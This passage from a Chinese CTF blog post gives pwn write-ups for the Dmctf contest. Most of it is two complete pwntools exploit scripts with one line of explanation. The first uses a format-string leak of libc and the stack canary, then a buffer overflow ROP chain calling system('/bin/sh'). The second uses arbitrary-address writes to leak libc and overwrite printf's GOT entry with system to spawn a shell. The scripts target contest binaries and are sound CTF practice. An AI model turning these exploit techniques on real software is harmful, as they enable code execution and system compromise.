<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#coding=utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"> </span><br><span class="line">context.log_level=<span class="string">&quot;debug&quot;</span></span><br><span class="line"> </span><br><span class="line">local=<span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> local:</span><br><span class="line">    p=process(<span class="string">&quot;pwn-end&quot;</span>)</span><br><span class="line">    libc=ELF(<span class="string">&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p=remote(<span class="string">&quot;&quot;</span>,<span class="number">0</span>)</span><br><span class="line">libc=ELF(<span class="string">&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;</span>)</span><br><span class="line"> </span><br><span class="line"><span class="comment"># 列表字符串转int,包含一个输出</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_int</span>(<span class="params">content</span>):</span></span><br><span class="line">    content=<span class="built_in">int</span>(content,<span class="number">16</span>)</span><br><span class="line">    out=<span class="built_in">hex</span>(content)</span><br><span class="line">    print(<span class="string">&quot;content to int end is : &quot;</span>,out)</span><br><span class="line">    <span class="keyword">return</span> content</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_formate_result</span>(<span class="params">spli=<span class="string">&quot;0x&quot;</span>,length=<span class="number">12</span></span>):</span></span><br><span class="line">    info=p.recvuntil(<span class="string">&quot;0x&quot;</span>,drop=<span class="string">&quot;true&quot;</span>)</span><br><span class="line">    info=info[<span class="number">0</span>:length]</span><br><span class="line">    print(<span class="string">&quot;leak info (may set a and b to get real info) : &quot;</span>,info)</span><br><span class="line">    <span class="keyword">return</span> info</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">p.recvuntil(<span class="string">&quot;!!!!!!!\n&quot;</span>)</span><br><span class="line"> </span><br><span class="line"><span class="comment">#gdb.attach(p,&quot;b *0x00000000004007EE&quot;)</span></span><br><span class="line">p.send(<span class="string">&quot;%21$p%15$p&quot;</span>)</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">info=get_formate_result()</span><br><span class="line">info=get_formate_result() <span class="comment">#libc</span></span><br><span class="line">libc.address=get_int(info)-<span class="number">0x20840</span></span><br><span class="line">info=p.recv(<span class="number">16</span>)</span><br><span class="line"> </span><br><span class="line">canary=get_int(info)</span><br><span class="line"><span class="comment">#content=p.recv(32)</span></span><br><span class="line">p.recvuntil(<span class="string">&quot;flag!!!\n&quot;</span>)</span><br><span class="line">payload=<span class="string">&quot;a&quot;</span>*<span class="number">0x38</span>+p64(canary)+p64(canary)+p64(<span class="number">0x00000000004008f3</span>)+p64(libc.search(<span class="string">&quot;/bin/sh&quot;</span>).<span class="built_in">next</span>())+p64(libc.symbols[<span class="string">&quot;system&quot;</span>])</span><br><span class="line">p.sendline(payload)</span><br><span class="line"> </span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="接化发"><a href="#接化发" class="headerlink" title="接化发"></a>接化发</h1><p>利用任意地址写泄露 libc 并进行 GOT 劫持。</p>
<p><strong>exp:</strong></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># encoding: utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">s = <span class="keyword">lambda</span> data: p.send(<span class="built_in">str</span>(data))</span><br><span class="line">sa = <span class="keyword">lambda</span> delim,data: p.sendafter(delim,<span class="built_in">str</span>(data))</span><br><span class="line">sl = <span class="keyword">lambda</span> data: p.sendline(<span class="built_in">str</span>(data))</span><br><span class="line">sla = <span class="keyword">lambda</span> delim,data: p.sendlineafter(delim,<span class="built_in">str</span>(data))</span><br><span class="line">r = <span class="keyword">lambda</span> num=<span class="number">4096</span>: p.recv(num)</span><br><span class="line">ru = <span class="keyword">lambda</span> delims,drop=<span class="literal">True</span>: p.recvuntil(delims,drop)</span><br><span class="line">uu64 = <span class="keyword">lambda</span> data: u64(data.ljust(<span class="number">8</span>,<span class="string">&#x27;\0&#x27;</span>))</span><br><span class="line">leak = <span class="keyword">lambda</span> name,addr: log.success(<span class="string">&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;</span>.<span class="built_in">format</span>(name, addr))</span><br><span class="line"></span><br><span class="line"><span class="comment">#context.log_level = &#x27;DEBUG&#x27;</span></span><br><span class="line">binary = <span class="string">&#x27;./pwn&#x27;</span></span><br><span class="line">context.binary = binary</span><br><span class="line">elf = ELF(binary,checksec=<span class="literal">False</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.23.so&#x27;</span>, checksec=<span class="literal">False</span>)</span><br><span class="line">p = process(binary, env=&#123;<span class="string">&#x27;LD_PRELOAD&#x27;</span>: <span class="string">&#x27;./libc-2.23.so&#x27;</span>&#125;)</span><br><span class="line"></span><br><span class="line">sla(<span class="string">&#x27;：&#x27;</span>, <span class="string">&#x27;/bin/sh;&#x27;</span>)</span><br><span class="line"></span><br><span class="line">attack = <span class="number">0x602120</span></span><br><span class="line">stdin = <span class="number">0x6020b0</span></span><br><span class="line">printf = elf.got[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(attack-stdin):</span><br><span class="line">    ru(<span class="string">&#x27;&gt;\n&#x27;</span>)</span><br><span class="line">    sl(<span class="string">&#x27;2&#x27;</span>)</span><br><span class="line"></span><br><span class="line">addr = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">6</span>):</span><br><span class="line">    ru(<span class="string">&#x27;&gt;\n&#x27;</span>)</span><br><span class="line">    sl(<span class="string">&#x27;5&#x27;</span>)</span><br><span class="line">    addr += r(<span class="number">1</span>)</span><br><span class="line">    ru(<span class="string">&#x27;&gt;\n&#x27;</span>)</span><br><span class="line">    sl(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line"></span><br><span class="line">addr = uu64(addr)</span><br><span class="line">leak(<span class="string">&#x27;stdin&#x27;</span>, addr)</span><br><span class="line">base = addr - libc.sym[<span class="string">&#x27;_IO_2_1_stdin_&#x27;</span>]</span><br><span class="line">leak(<span class="string">&#x27;base&#x27;</span>, base)</span><br><span class="line">system = p64(base + libc.sym[<span class="string">&#x27;system&#x27;</span>])</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(stdin-printf+<span class="number">6</span>):</span><br><span class="line">    ru(<span class="string">&#x27;&gt;\n&#x27;</span>)</span><br><span class="line">    sl(<span class="string">&#x27;2&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>):</span><br><span class="line">    ru(<span class="string">&#x27;&gt;\n&#x27;</span>)</span><br><span class="line">    sl(<span class="string">&#x27;6&#x27;</span>)</span><br><span class="line">    s(system[i])</span><br><span class="line">    ru(<span class="string">&#x27;&gt;\n&#x27;</span>)</span><br><span class="line">    sl(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line"></span><br><span class="line">ru(<span class="string">&#x27;&gt;\n&#x27;</span>)</span><br><span class="line">sl(<span class="string">&#x27;6&#x27;</span>)</span><br><span class="line">s(system[<span class="number">5</span>])</span><br><span class="line"></span><br><span class="line">sl(<span class="string">&#x27;7&#x27;</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="mailto:1397239425@qq.com">eternal</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="http://example.com/2020/12/01/Dmctf-pwn%E9%A2%98%E8%A7%A3/">http://example.com/2020/12/01/Dmctf-pwn题解/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="http://example.com" target="_blank">eternal</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"><a class="post-meta__tags" href="/tags/ctf/">ctf</a></div><div class="post_share"><div class="social-share" data-image="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/social-share.js/dist/css/share.min.css"><script src="https://cdn.jsdelivr.net/npm/social-share.js/dist/js/social-share.min.js" defer></script></div></div><nav class="pagination-post" id="pagination"><div class="prev-post pull-left"><a href="/2020/12/02/ZJCTF-2019-EasyHeap/"><img class="prev-cover" src="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg" onerror="onerror=null;src='/img/404.jpg'"><div class="pagination-info"><div class="label">上一篇</div><div class="prev_info">ZJCTF_2019_EasyHeap</div></div></a></div><div class="next-post pull-right"><a href="/2020/11/27/ctf%E9%A2%98%E7%9B%AE%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/"><img class="next-cover" src="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg" onerror="onerror=null;src='/img/404.jpg'"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">ctf题目环境搭建</div></div></a></div></nav><div class="relatedPosts"><div class="headline"><i class="fas fa-thumbs-up fa-fw"></i><span> 相关推荐</span></div><div class="relatedPosts-list"><div><a href="/2020/11/27/ctf题目环境搭建/" title="ctf题目环境搭建"><img class="cover" src="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-11-27</div><div class="title">ctf题目环境搭建</div></div></a></div><div><a href="/2021/01/23/堆复习2-off-by-one加unlink/" title="堆复习2-off-by-one加unlink"><img class="cover" src="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-01-23</div><div class="title">堆复习2-off-by-one加unlink</div></div></a></div><div><a href="/2021/01/24/堆复习3-double—free/" title="堆复习3-double—free"><img class="cover" src="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-01-24</div><div class="title">堆复习3-double—free</div></div></a></div><div><a href="/2021/01/22/堆复习之off-by-one和unlink/" title="堆复习之off_by_one和unlink"><img class="cover" src="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-01-22</div><div class="title">堆复习之off_by_one和unlink</div></div></a></div></div></div><hr/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div class="vcomment" id="vcomment"></div></div></div></div></div><div class="aside_content" id="aside_content"><div class="card-widget card-info"><div class="card-content"><div class="card-info-avatar is-center"><img class="avatar-img" src="/img/ccc.png" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/><div class="author-info__name">eternal</div><div class="author-info__description">池鱼思故渊</div></div><div class="card-info-data"><div class="card-info-data-item is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">15</div></a></div><div class="card-info-data-item is-center"><a href="/tags/"><div class="headline">标签</div><div class="length-num">8</div></a></div><div class="card-info-data-item is-center"><a href="/categories/"><div class="headline">分类</div><div class="length-num">12</div></a></div></div><a class="button--animated" id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/mRdzut"><i class="fab fa-github"></i><span>mRdzut</span></a><div class="card-info-social-icons is-center"><a class="social-icon" href="https://github.com/mRdzut" target="_blank" title="Github"><i class="fab fa-github"></i></a><a class="social-icon" href="/img/qq.png" target="_blank" title="QQ"><i class="fab fa-qq"></i></a><a class="social-icon" href="/img/wechat.png" target="_blank" title="Wechat"><i class="fab fa-weixin"></i></a></div></div></div><div class="card-widget card-announcement"><div class="card-content"><div class="item-headline"><i class="fas fa-bullhorn card-announcement-animation"></i><span>公告</span></div><div class="announcement_content">欢迎！</div></div></div><div class="sticky_layout"><div class="card-widget card-recent-post"><div class="card-content"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2021/01/24/%E5%A0%86%E5%A4%8D%E4%B9%A03-double%E2%80%94free/" title="堆复习3-double—free"><img src="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="堆复习3-double—free"/></a><div class="content"><a class="title" href="/2021/01/24/%E5%A0%86%E5%A4%8D%E4%B9%A03-double%E2%80%94free/" title="堆复习3-double—free">堆复习3-double—free</a><time datetime="2021-01-24T09:48:32.000Z" title="发表于 2021-01-24 17:48:32">2021-01-24</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/01/23/%E5%A0%86%E5%A4%8D%E4%B9%A02-off-by-one%E5%8A%A0unlink/" title="堆复习2-off-by-one加unlink"><img src="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="堆复习2-off-by-one加unlink"/></a><div class="content"><a class="title" href="/2021/01/23/%E5%A0%86%E5%A4%8D%E4%B9%A02-off-by-one%E5%8A%A0unlink/" title="堆复习2-off-by-one加unlink">堆复习2-off-by-one加unlink</a><time datetime="2021-01-23T14:16:39.000Z" title="发表于 2021-01-23 22:16:39">2021-01-23</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/01/22/%E5%A0%86%E5%A4%8D%E4%B9%A0%E4%B9%8Boff-by-one%E5%92%8Cunlink/" title="堆复习之off_by_one和unlink"><img src="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="堆复习之off_by_one和unlink"/></a><div class="content"><a class="title" href="/2021/01/22/%E5%A0%86%E5%A4%8D%E4%B9%A0%E4%B9%8Boff-by-one%E5%92%8Cunlink/" title="堆复习之off_by_one和unlink">堆复习之off_by_one和unlink</a><time datetime="2021-01-22T14:45:11.000Z" title="发表于 2021-01-22 22:45:11">2021-01-22</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/01/04/%E8%85%BE%E8%AE%AF%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%88%9D%E4%BD%93%E9%AA%8C/" title="腾讯云服务器初体验"><img src="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="腾讯云服务器初体验"/></a><div class="content"><a class="title" href="/2021/01/04/%E8%85%BE%E8%AE%AF%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%88%9D%E4%BD%93%E9%AA%8C/" title="腾讯云服务器初体验">腾讯云服务器初体验</a><time datetime="2021-01-04T13:50:23.000Z" title="发表于 2021-01-04 21:50:23">2021-01-04</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/01/03/%E5%88%9D%E6%8E%A2netty/" title="初探netty"><img src="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="初探netty"/></a><div class="content"><a class="title" href="/2021/01/03/%E5%88%9D%E6%8E%A2netty/" title="初探netty">初探netty</a><time datetime="2021-01-03T12:36:20.000Z" title="发表于 2021-01-03 20:36:20">2021-01-03</time></div></div></div></div></div></div></div></main><footer id="footer" style="background-image: url(https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg)"><div id="footer-wrap"><div class="copyright">&copy;2020 - 2021 By eternal</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="readmode" type="button" title="阅读模式"><i class="fas fa-book-open"></i></button><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog"></i></button><a id="to_comment" href="#post-comment" title="直达评论"><i class="fas fa-comments"></i></a><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div><script src="https://cdn.jsdelivr.net/npm/jquery@latest/dist/jquery.min.js"></script><script src="/js/utils.js"></script><script src="/js/main.js"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@latest/dist/jquery.fancybox.min.js"></script><div class="js-pjax"><script>function loadValine () {
  function initValine () {
    let initData = {
      el: '#vcomment',
      appId: '8qhbuvXq0Y4PfhWjKeHvarLj-MdYXbMMI',
      appKey: 'DIzddSk68kLdHdJubMjKe1Nc',
      placeholder: '请多多指教',
      avatar: 'monsterid',
      meta: 'nick,mail'.split(','),
      pageSize: '10',
      lang: 'zh-CN',
      recordIP: true,
      serverURLs: '',
      emojiCDN: '',
      emojiMaps: "",
      enableQQ: false,
      path: window.location.pathname,
    }

    if (true) { 
      initData.requiredFields= ('nick'.split(','))
    }
    
    if (false) {
      const otherData = false
      initData = Object.assign({}, initData, otherData)
    }
    
    const valine = new Valine(initData)
  }

  if (typeof Valine === 'function') initValine() 
  else $.getScript('https://cdn.jsdelivr.net/npm/valine/dist/Valine.min.js', initValine)
}

if ('Valine' === 'Valine' || !false) {
  if (false) btf.loadComment(document.querySelector('#vcomment'),loadValine)
  else setTimeout(() => loadValine(), 0)
} else {
  function loadOtherComment () {
    loadValine()
  }
}</script><script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script></div><script defer="defer" id="fluttering_ribbon" mobile="true" src="https://cdn.jsdelivr.net/npm/butterfly-extsrc@1/dist/canvas-fluttering-ribbon.min.js"></script><script id="canvas_nest" defer="defer" color="0,0,255" opacity="0.7" zIndex="-1" count="99" mobile="false" src="https://cdn.jsdelivr.net/npm/butterfly-extsrc@1/dist/canvas-nest.min.js"></script><script id="click-show-text" src="https://cdn.jsdelivr.net/npm/butterfly-extsrc@1/dist/click-show-text.min.js" async="async" mobile="false"></script></div><script src="/live2d_models/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"pluginRootPath":"live2d_models/","pluginJsPath":"lib/","pluginModelPath":"assets/","tagMode":false,"debug":false,"model":{"scale":1,"hHeadPos":0.5,"vHeadPos":0.618,"jsonPath":"/live2d_models/assets/assets/haru01.model.json"},"display":{"superSample":2,"width":150,"height":300,"position":"left","hOffset":0,"vOffset":-20},"mobile":{"show":true,"scale":0.5},"react":{"opacityDefault":0.7,"opacityOnHover":0.8},"log":false});</script></body></html>